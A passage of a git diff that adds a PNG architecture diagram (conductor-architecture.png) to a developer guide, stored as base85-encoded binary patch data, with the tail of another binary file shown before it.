zpst9J@(#mA4)ef0PZfXOip-p6!0zVBJz+&lL4D)(;C|yx>qSdUW&^bzN!t}9rNk96 z7c3lRo^kZS9nfHLdC9aWkVCdYx|#6<(yOI&CwkO65=JCc_z!gM-D}Hb@nrjlg&NNy zXEFK9*@vo4{r=76@;qLhvo;&ufrUa2Xx!?}+s_LV_Bol|xs;wAl@rr*>c!KC%=g3p z%wH>D{1m(r>7-Ao_g1qdz@{Z{=`s^nkqttuCKeloiqEDk3q5r5VSb&Eh2iZ98|QZ2 zwe4P16{~+cbHWxEpz%6!jdPb@kJ!^YEg`{k`lcV>Kj%j^Y0ljC@PB}mLVIc51W5)U N@O1TaS?83{1OPs0dK3Tv literal 0 HcmV?d00001 diff --git a/docs/devguide/architecture/conductor-architecture.png b/docs/devguide/architecture/conductor-architecture.png new file mode 100644 index 0000000000000000000000000000000000000000..23cd77ad95c25d3c7fcbd35fec2822c22305903d GIT binary patch literal 753288 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%0Aa=)dAahz=VwdW@0!2LdluoxsAoKpyx)td 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 